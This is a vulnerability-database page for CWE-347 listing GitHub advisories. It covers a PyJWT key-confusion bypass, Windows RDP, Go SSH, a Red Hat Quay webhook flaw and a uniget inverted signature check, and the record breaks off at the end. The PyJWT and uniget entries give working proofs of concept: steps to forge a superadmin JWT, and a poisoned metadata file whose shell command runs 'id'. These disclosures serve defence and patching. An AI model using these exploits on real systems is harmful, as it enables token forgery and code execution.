Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1436 vulnerabilities reference this CWE, most recent first.

GHSA-FFC3-869F-JXW9

Vulnerability from github – Published: 2026-09-29 23:17 – Updated: 2026-09-29 23:17
VLAI
Summary
PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guard
Details

Prerequisites (both conditions must hold; both are deployment properties, not attacker-controlled at request time):

  • The jwt.decode allow-list mixes an HMAC algorithm with an asymmetric one, e.g. algorithms=["ES256", "HS256"] (the RFC 8725 footgun the guard exists to backstop).
  • The verification key is passed as raw PEM text/bytes on the non-PyJWK path, in a byte-form that cryptography's loader accepts but PyJWT's is_pem_format regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling.

The attacker additionally needs the public verification key, which is public by definition, and cryptography must be installed.

The fix for CVE-2022-29217 rejects an asymmetric key handed to an HMAC algorithm, but only when is_pem_format() recognizes the key as PEM. That recognizer accepts strictly fewer byte-forms than the loader that later parses the key, so a PEM the guard misses still loads as a valid public key and is then used as an HMAC secret. This is an incomplete-guard bypass of the CVE-2022-29217 family.

Summary

A PEM public key with marker-adjacent whitespace, CR-only line terminators, or folded to a single line makes PyJWT's is_pem_format() return False while cryptography.load_pem_public_key() accepts the identical bytes. The asymmetric-key rejection in HMACAlgorithm.prepare_key is skipped, the public key becomes the HMAC secret, and an attacker who knows the public key mints a valid HS256 token — universal forgery — whenever the verify allow-list mixes an HMAC and an asymmetric algorithm.

Details

At jwt/algorithms.py:331-335, HMACAlgorithm.prepare_key contains the sole family-mismatch guard:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

If neither predicate fires, :357 returns key_bytes unchanged — the PEM text is used directly as the HMAC secret.

is_pem_format (jwt/utils.py:116-127) is bool(_PEM_RE.search(key)), where _PEM_RE requires ----[- ]BEGIN (...)[- ]----\r?\n, then .+?\r?\n, then the END marker. The LF in each \r?\n is mandatory, the markers are anchored directly after a newline, and only [- ] is tolerated adjacent to them — not arbitrary whitespace. So a key with a tab/space before the END marker, with bare \r terminators, or folded onto one line is not recognized as PEM. cryptography's load_pem_public_key is tolerant of exactly these forms and still returns the key.

Reach: jwt/api_jws.py:386 performs the allow-list check (passes when HS256 is in the list) and takes the non-PyJWK branch to alg_obj.prepare_key(key) at :407. The mismatch guard above is the only thing standing between a mixed allow-list and using the public key as an HMAC secret.

PoC

Vulnerable path: jwt/algorithms.py:331 (guard gated on is_pem_format) -> is_pem_format returns False for a loader-accepted PEM -> jwt/algorithms.py:357 returns the public-key bytes as the HMAC secret -> HS256 verification succeeds.

Reproduced on PyJWT 2.13.0 (commit 7144e453) with cryptography 49.0.0, using only the public API. For each of an EC (ES256) and an RSA-2048 (RS256) key: start from the correct public-key PEM, apply a mutation, confirm is_pem_format now returns False while cryptography still loads the bytes, then verify a token signed alg=HS256 with the public-key text as the HMAC secret, under algorithms=["ES256","HS256"] (resp. ["RS256","HS256"]).

Observed output:

pyjwt 2.13.0
  ec  canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError
  ec  marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  ec  CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  ec  folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError
  rsa marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  [control B] single-alg [ES256] allow-list vs forged HS256: REJECTED:InvalidAlgorithmError
RESULT: ALL-INVARIANTS-HOLD

Each mutated form on both key types forged a token accepted as superadmin. Controls: the unmodified PEM is correctly rejected with InvalidKeyError (the guard works and the mutation is load-bearing); a single-algorithm allow-list ["ES256"] rejects the forged HS256 token with InvalidAlgorithmError (the mixed allow-list is a necessary precondition).

Steps to reproduce: 1. Generate an EC P-256 (or RSA-2048) keypair; serialize the public key to PEM. 2. Mutate the PEM into a loader-accepted, regex-missed form — e.g. insert a tab before -----END, convert terminators to bare \r, or join all lines into one. 3. Confirm jwt.utils.is_pem_format(mutated) is False and cryptography.hazmat.primitives.serialization.load_pem_public_key(mutated) succeeds. 4. jwt.encode({"sub":"superadmin"}, mutated, algorithm="HS256"), then jwt.decode(token, mutated, algorithms=["ES256","HS256"]) — verification succeeds.

Impact

Cryptographic signature-verification bypass (CWE-347): algorithm confusion re-enabled by an incomplete asymmetric-key guard. An attacker who knows only the public verification key forges arbitrary-claim tokens that verify as authentic, subject to the two deployment preconditions above. The PyJWK verification path binds a single algorithm and is unaffected; enforce_minimum_key_length (off by default) does not block a 2048-bit/P-256 PEM. Impact when the preconditions hold is critical (universal forgery); the compound precondition is realistic but was not observed in a specific real-world deployment, so this is rated Critical, with the deployment precondition captured in CVSS.

Maintainer update — 2026-09-10

We reproduced the reported asymmetric-key guard bypass on PyJWT 2.13.0: PEM public keys with loader-accepted formatting mutations were missed by is_pem_format, then accepted as HMAC secrets when a verification call mixed symmetric and asymmetric algorithms. Canonical PEM controls remained blocked, and a single-algorithm allow-list rejected the forged HS256 token.

The fix is committed as 8b4e233a22206b34ec1186e912e75c0b2396ac07. PyJWT now scans supported PEM BEGIN/END markers in one pass, preserving matching labels and handling overlapping markers without regex backtracking. Regression coverage includes RSA loader-accepted mutations, incomplete repeated markers, later valid PEM blocks, and overlapping END/BEGIN markers. The fix does not broaden DER-key classification or change the caller's algorithm allow-list policy.

Verification on the signed commit passes with 400 tests and 4 intentional cryptography-environment skips; Ruff formatting/lint and the Python 3.9 mypy tox target pass. Fresh Astra/max independent review accepted the final snapshot and confirmed O(n) scanning, bounded storage, and no blocking compatibility or security finding. The fix has not been released; the advisory remains Critical with CVSS 3.1 score 9.1 and CWE-347.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.13.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PyJWT"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102268"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T23:17:33Z",
    "nvd_published_at": "2026-09-28T21:17:14Z",
    "severity": "CRITICAL"
  },
  "details": "**Prerequisites** (both conditions must hold; both are deployment properties, not attacker-controlled at request time):\n\n- The `jwt.decode` allow-list mixes an HMAC algorithm with an asymmetric one, e.g. `algorithms=[\"ES256\", \"HS256\"]` (the RFC 8725 footgun the guard exists to backstop).\n- The verification key is passed as raw PEM text/bytes on the non-`PyJWK` path, in a byte-form that `cryptography`\u0027s loader accepts but PyJWT\u0027s `is_pem_format` regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling.\n\nThe attacker additionally needs the public verification key, which is public by definition, and `cryptography` must be installed.\n\nThe fix for CVE-2022-29217 rejects an asymmetric key handed to an HMAC algorithm, but only when `is_pem_format()` recognizes the key as PEM. That recognizer accepts strictly fewer byte-forms than the loader that later parses the key, so a PEM the guard misses still loads as a valid public key and is then used as an HMAC secret. This is an incomplete-guard bypass of the CVE-2022-29217 family.\n\n### Summary\nA PEM public key with marker-adjacent whitespace, CR-only line terminators, or folded to a single line makes PyJWT\u0027s `is_pem_format()` return `False` while `cryptography.load_pem_public_key()` accepts the identical bytes. The asymmetric-key rejection in `HMACAlgorithm.prepare_key` is skipped, the public key becomes the HMAC secret, and an attacker who knows the public key mints a valid `HS256` token \u2014 universal forgery \u2014 whenever the verify allow-list mixes an HMAC and an asymmetric algorithm.\n\n### Details\nAt `jwt/algorithms.py:331-335`, `HMACAlgorithm.prepare_key` contains the sole family-mismatch guard:\n\n    if is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n        raise InvalidKeyError(\n            \"The specified key is an asymmetric key or x509 certificate and\"\n            \" should not be used as an HMAC secret.\"\n        )\n\nIf neither predicate fires, `:357` returns `key_bytes` unchanged \u2014 the PEM text is used directly as the HMAC secret.\n\n`is_pem_format` (`jwt/utils.py:116-127`) is `bool(_PEM_RE.search(key))`, where `_PEM_RE` requires `----[- ]BEGIN (...)[- ]----\\r?\\n`, then `.+?\\r?\\n`, then the END marker. The LF in each `\\r?\\n` is mandatory, the markers are anchored directly after a newline, and only `[- ]` is tolerated adjacent to them \u2014 not arbitrary whitespace. So a key with a tab/space before the END marker, with bare `\\r` terminators, or folded onto one line is not recognized as PEM. `cryptography`\u0027s `load_pem_public_key` is tolerant of exactly these forms and still returns the key.\n\nReach: `jwt/api_jws.py:386` performs the allow-list check (passes when `HS256` is in the list) and takes the non-`PyJWK` branch to `alg_obj.prepare_key(key)` at `:407`. The mismatch guard above is the only thing standing between a mixed allow-list and using the public key as an HMAC secret.\n\n### PoC\nVulnerable path: `jwt/algorithms.py:331` (guard gated on `is_pem_format`) -\u003e `is_pem_format` returns `False` for a loader-accepted PEM -\u003e `jwt/algorithms.py:357` returns the public-key bytes as the HMAC secret -\u003e `HS256` verification succeeds.\n\nReproduced on PyJWT 2.13.0 (commit `7144e453`) with `cryptography` 49.0.0, using only the public API. For each of an EC (ES256) and an RSA-2048 (RS256) key: start from the correct public-key PEM, apply a mutation, confirm `is_pem_format` now returns `False` while `cryptography` still loads the bytes, then verify a token signed `alg=HS256` with the public-key text as the HMAC secret, under `algorithms=[\"ES256\",\"HS256\"]` (resp. `[\"RS256\",\"HS256\"]`).\n\nObserved output:\n\n    pyjwt 2.13.0\n      ec  canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError\n      ec  marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)\n      ec  CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)\n      ec  folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)\n      rsa canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError\n      rsa marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)\n      rsa CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)\n      rsa folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)\n      [control B] single-alg [ES256] allow-list vs forged HS256: REJECTED:InvalidAlgorithmError\n    RESULT: ALL-INVARIANTS-HOLD\n\nEach mutated form on both key types forged a token accepted as `superadmin`. Controls: the unmodified PEM is correctly rejected with `InvalidKeyError` (the guard works and the mutation is load-bearing); a single-algorithm allow-list `[\"ES256\"]` rejects the forged `HS256` token with `InvalidAlgorithmError` (the mixed allow-list is a necessary precondition).\n\nSteps to reproduce:\n1. Generate an EC P-256 (or RSA-2048) keypair; serialize the public key to PEM.\n2. Mutate the PEM into a loader-accepted, regex-missed form \u2014 e.g. insert a tab before `-----END`, convert terminators to bare `\\r`, or join all lines into one.\n3. Confirm `jwt.utils.is_pem_format(mutated) is False` and `cryptography.hazmat.primitives.serialization.load_pem_public_key(mutated)` succeeds.\n4. `jwt.encode({\"sub\":\"superadmin\"}, mutated, algorithm=\"HS256\")`, then `jwt.decode(token, mutated, algorithms=[\"ES256\",\"HS256\"])` \u2014 verification succeeds.\n\n### Impact\nCryptographic signature-verification bypass (CWE-347): algorithm confusion re-enabled by an incomplete asymmetric-key guard. An attacker who knows only the public verification key forges arbitrary-claim tokens that verify as authentic, subject to the two deployment preconditions above. The `PyJWK` verification path binds a single algorithm and is unaffected; `enforce_minimum_key_length` (off by default) does not block a 2048-bit/P-256 PEM. Impact when the preconditions hold is critical (universal forgery); the compound precondition is realistic but was not observed in a specific real-world deployment, so this is rated Critical, with the deployment precondition captured in CVSS.\n\n## Maintainer update \u2014 2026-09-10\n\nWe reproduced the reported asymmetric-key guard bypass on PyJWT 2.13.0: PEM public keys with loader-accepted formatting mutations were missed by `is_pem_format`, then accepted as HMAC secrets when a verification call mixed symmetric and asymmetric algorithms. Canonical PEM controls remained blocked, and a single-algorithm allow-list rejected the forged HS256 token.\n\nThe fix is committed as `8b4e233a22206b34ec1186e912e75c0b2396ac07`. PyJWT now scans supported PEM BEGIN/END markers in one pass, preserving matching labels and handling overlapping markers without regex backtracking. Regression coverage includes RSA loader-accepted mutations, incomplete repeated markers, later valid PEM blocks, and overlapping END/BEGIN markers. The fix does not broaden DER-key classification or change the caller\u0027s algorithm allow-list policy.\n\nVerification on the signed commit passes with 400 tests and 4 intentional cryptography-environment skips; Ruff formatting/lint and the Python 3.9 mypy tox target pass. Fresh Astra/max independent review accepted the final snapshot and confirmed O(n) scanning, bounded storage, and no blocking compatibility or security finding. The fix has not been released; the advisory remains Critical with CVSS 3.1 score 9.1 and CWE-347.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
  "id": "GHSA-ffc3-869f-jxw9",
  "modified": "2026-09-29T23:17:34Z",
  "published": "2026-09-29T23:17:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffc3-869f-jxw9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102268"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guard"
}

GHSA-FFCR-244P-CMJQ

Vulnerability from github – Published: 2026-09-08 18:32 – Updated: 2026-09-08 18:32
VLAI
Details

Improper verification of cryptographic signature in Windows RDP Client allows an unauthorized attacker to disclose information over a network.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-57098"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T18:17:42Z",
    "severity": "HIGH"
  },
  "details": "Improper verification of cryptographic signature in Windows RDP Client allows an unauthorized attacker to disclose information over a network.",
  "id": "GHSA-ffcr-244p-cmjq",
  "modified": "2026-09-08T18:32:03Z",
  "published": "2026-09-08T18:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57098"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57098"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FFHG-7MH4-33C4

Vulnerability from github – Published: 2021-05-18 15:29 – Updated: 2023-02-16 00:14
VLAI
Summary
Improper Verification of Cryptographic Signature in golang.org/x/crypto
Details

golang.org/x/crypto before v0.0.0-20200220183623-bac4c82f6975 for Go allows a panic during signature verification in the golang.org/x/crypto/ssh package. A client can attack an SSH server that accepts public keys. Also, a server can attack any SSH client.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "golang.org/x/crypto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20200220183623-bac4c82f6975"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-9283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-17T22:02:30Z",
    "nvd_published_at": "2020-02-20T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "golang.org/x/crypto before v0.0.0-20200220183623-bac4c82f6975 for Go allows a panic during signature verification in the golang.org/x/crypto/ssh package. A client can attack an SSH server that accepts public keys. Also, a server can attack any SSH client.",
  "id": "GHSA-ffhg-7mh4-33c4",
  "modified": "2023-02-16T00:14:18Z",
  "published": "2021-05-18T15:29:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9283"
    },
    {
      "type": "WEB",
      "url": "https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/golang/crypto"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/220357"
    },
    {
      "type": "WEB",
      "url": "https://go.googlesource.com/crypto/+/bac4c82f69751a6dd76e702d54b3ceb88adab236"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#!topic/golang-announce/3L45YRc91SY"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/3L45YRc91SY"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/10/msg00014.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/11/msg00027.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/11/msg00031.html"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2020-0012"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/48121"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/156480/Go-SSH-0.0.2-Denial-Of-Service.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Verification of Cryptographic Signature in golang.org/x/crypto"
}

GHSA-FGQ8-MWJV-6335

Vulnerability from github – Published: 2026-08-15 00:31 – Updated: 2026-08-15 00:31
VLAI
Details

A flaw was found in Red Hat Quay's Stripe billing webhook handler. This vulnerability allows an unauthenticated attacker to forge billing events by sending crafted JSON requests to the /webhooks/stripe endpoint without validating the Stripe-Signature header. Successful exploitation can lead to the unauthorized resetting of a namespace's build quota to its maximum and trigger unsolicited billing emails to namespace administrators.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-74244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-14T23:16:34Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in Red Hat Quay\u0027s Stripe billing webhook handler. This vulnerability allows an unauthenticated attacker to forge billing events by sending crafted JSON requests to the `/webhooks/stripe` endpoint without validating the Stripe-Signature header. Successful exploitation can lead to the unauthorized resetting of a namespace\u0027s build quota to its maximum and trigger unsolicited billing emails to namespace administrators.",
  "id": "GHSA-fgq8-mwjv-6335",
  "modified": "2026-08-15T00:31:24Z",
  "published": "2026-08-15T00:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74244"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-74244"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2516143"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FHGH-WQ4Q-R37X

Vulnerability from github – Published: 2026-08-17 17:50 – Updated: 2026-08-17 17:50
VLAI
Summary
uniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set
Details

Summary

The sigstore check on metadata.json is gated on the wrong side of the condition. LoadMetadata in internal/config/update.go:81 verifies the bundle only when UNIGET_IGNORE_METADATA_SIGNATURE is non-empty, so in a normal run, where nobody sets that variable, the signature is never checked. Setting the variable that is named "ignore the signature" is what turns verification on.

That matters because metadata.json populates Tool.Check, and pkg/tool/tool.go:250 runs Tool.Check through /bin/bash -c. That is the same sink as CVE-2026-45152, and the signature check added in v0.27.1 to close it is the control that no longer runs.

Where it is

internal/config/update.go:80-100:

func (c *Config) LoadMetadata(filename string) (loadedTools *tool.Tools, err error) {
    if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0 {
        _, err = security.VerifySigstoreBundle(
            filename,
            filename+".sigstore.json",
            ...
        )
        if err != nil {
            return nil, fmt.Errorf("error verifying sigstore bundle for metadata: %s", err)
        }
    }

    loadedTools, err = tool.LoadFromFile(filename)

cmd/uniget/main.go:102-105 carries the same flipped condition in the decision about whether to re-download metadata:

if !myos.FileExists(configuration.Prefix+"/"+configuration.GetMetadataFile()) ||
    configuration.AutoUpdate ||
    (len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0 &&
        !myos.FileExists(configuration.Prefix+"/"+configuration.GetMetadataFile()+".sigstore.json")) {

so a cached metadata.json with no .sigstore.json beside it is not refetched either, as long as the variable is unset.

LoadMetadata is called from cmd/uniget/main.go:115 in the persistent pre-run, which means every subcommand loads metadata this way. The sink is pkg/tool/tool.go:248-251:

func (tool *Tool) RunVersionCheck() (string, error) {
    logging.Tracef("Running version check for %s: %s", tool.Name, tool.Check)
    cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")

How it got this way

The check was introduced correctly. In d12ef12c ("fix: Only accept signed metadata", released as v0.27.1) VerifySigstoreBundle was called unconditionally. 370d0155 then wrapped it in if os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE") != "true", which is still the right polarity. b68a27d5 ("fix: Accept any non-empty value"), which is the commit tagged v0.27.4, rewrote that as if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0. The intent was clearly to accept any truthy value instead of the literal string "true", but the negation was dropped in the rewrite and the meaning flipped.

Proof of concept

Built from a clean checkout of the v0.28.2 tag with go build -o /tmp/unigetbin ./cmd/uniget, then run in user mode against a poisoned cache with no metadata.json.sigstore.json present and UNIGET_IGNORE_METADATA_SIGNATURE explicitly removed from the environment.

H=/tmp/pochome
mkdir -p $H/.cache/uniget $H/.local/state/uniget/manifests $H/.local/bin $H/.config/uniget $H/.cache/uniget/evil
cat > $H/.cache/uniget/metadata.json <<'EOF'
{"tools":[{"name":"evil","version":"1.0.0","binary":"${target}/bin/evil",
"check":"id > /tmp/uniget-rce-proof.txt; echo PWNED","tags":["test"],
"description":"poisoned metadata","repository":"https://example.com",
"license":{"name":"MIT","link":"https://example.com"},
"sources":[{"registry":"ghcr.io","repository":"uniget-org/tools"}]}]}
EOF
printf '#!/bin/sh\necho 1.0.0\n' > $H/.local/bin/evil; chmod +x $H/.local/bin/evil
touch $H/.cache/uniget/evil/1.0.0

env -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H XDG_CACHE_HOME=$H/.cache \
  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \
  /tmp/unigetbin --user version evil

Observed output:

PWNED

and /tmp/uniget-rce-proof.txt contains the output of id. No signature error was raised, even though there is no bundle file at all.

The control run is the part that pins down the polarity. Same command, same poisoned metadata, only now a metadata.json.sigstore.json exists (deliberately not a valid bundle) and the "ignore" variable is set:

echo '{"not":"a real bundle"}' > $H/.cache/uniget/metadata.json.sigstore.json
UNIGET_IGNORE_METADATA_SIGNATURE=1 HOME=$H XDG_CACHE_HOME=$H/.cache \
  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \
  /tmp/unigetbin --user version evil

Observed output:

Error: error loading metadata: error verifying sigstore bundle for metadata: error loading bundle from path /tmp/pochome/.cache/uniget/metadata.json.sigstore.json: proto: (line 1:2): unknown field "not"

So verification runs when the ignore variable is set, and does not run when it is unset.

Impact

Anything that can substitute the metadata layer gets command execution as the user running uniget: a compromised or attacker-chosen registry or mirror for uniget-org/tools, a tampered tarball on the way into the cache, or a poisoned cache file. The sigstore bundle is the only thing standing between that metadata and /bin/bash -c, and right now it is not consulted. Locally this reproduces the CVE-2026-45152 scenario on a supposedly fixed version; the wider concern is that the supply chain check for the tool catalogue is effectively off for every user.

Suggested fix

Invert the condition so verification is the default and the environment variable opts out:

if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) == 0 {
    _, err = security.VerifySigstoreBundle(...)
    ...
}

The same inversion is needed at cmd/uniget/main.go:104, where the re-download decision should be "the bundle is missing and we are not ignoring signatures". It would also be worth failing closed when the .sigstore.json file is absent rather than treating a missing bundle as nothing to verify.

Deduplication

CVE-2026-45152 (GHSA-qqq4-5773-pmw5) covers the tool.Check command injection itself and is marked patched in v0.27.1. This report is not that finding again: it is that the patch, which was the signature check, stopped running as of v0.27.4 because of the condition rewrite in b68a27d5. The other two published advisories, GHSA-m6jg-wr9m-cg2f and GHSA-qmcq-xw74-w667, are about hook file paths and the EDITOR variable and do not touch metadata loading.

How I found it and a note on tooling

I was reading the shipped fix for CVE-2026-45152 to see whether the guard covered all the paths that reach RunVersionCheck, and the gate condition read backwards on first pass, so I walked the history of that line back to the commit that introduced it. I used AI tooling while investigating, and I built the CLI at v0.28.2 and ran both the exploit and the control myself before writing this up.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gitlab.com/uniget-org/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.27.4"
            },
            {
              "fixed": "0.28.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:50:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe sigstore check on `metadata.json` is gated on the wrong side of the condition. `LoadMetadata` in `internal/config/update.go:81` verifies the bundle only when `UNIGET_IGNORE_METADATA_SIGNATURE` is non-empty, so in a normal run, where nobody sets that variable, the signature is never checked. Setting the variable that is named \"ignore the signature\" is what turns verification on.\n\nThat matters because `metadata.json` populates `Tool.Check`, and `pkg/tool/tool.go:250` runs `Tool.Check` through `/bin/bash -c`. That is the same sink as CVE-2026-45152, and the signature check added in v0.27.1 to close it is the control that no longer runs.\n\n## Where it is\n\n`internal/config/update.go:80-100`:\n\n```go\nfunc (c *Config) LoadMetadata(filename string) (loadedTools *tool.Tools, err error) {\n\tif len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) \u003e 0 {\n\t\t_, err = security.VerifySigstoreBundle(\n\t\t\tfilename,\n\t\t\tfilename+\".sigstore.json\",\n\t\t\t...\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error verifying sigstore bundle for metadata: %s\", err)\n\t\t}\n\t}\n\n\tloadedTools, err = tool.LoadFromFile(filename)\n```\n\n`cmd/uniget/main.go:102-105` carries the same flipped condition in the decision about whether to re-download metadata:\n\n```go\nif !myos.FileExists(configuration.Prefix+\"/\"+configuration.GetMetadataFile()) ||\n\tconfiguration.AutoUpdate ||\n\t(len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) \u003e 0 \u0026\u0026\n\t\t!myos.FileExists(configuration.Prefix+\"/\"+configuration.GetMetadataFile()+\".sigstore.json\")) {\n```\n\nso a cached `metadata.json` with no `.sigstore.json` beside it is not refetched either, as long as the variable is unset.\n\n`LoadMetadata` is called from `cmd/uniget/main.go:115` in the persistent pre-run, which means every subcommand loads metadata this way. The sink is `pkg/tool/tool.go:248-251`:\n\n```go\nfunc (tool *Tool) RunVersionCheck() (string, error) {\n\tlogging.Tracef(\"Running version check for %s: %s\", tool.Name, 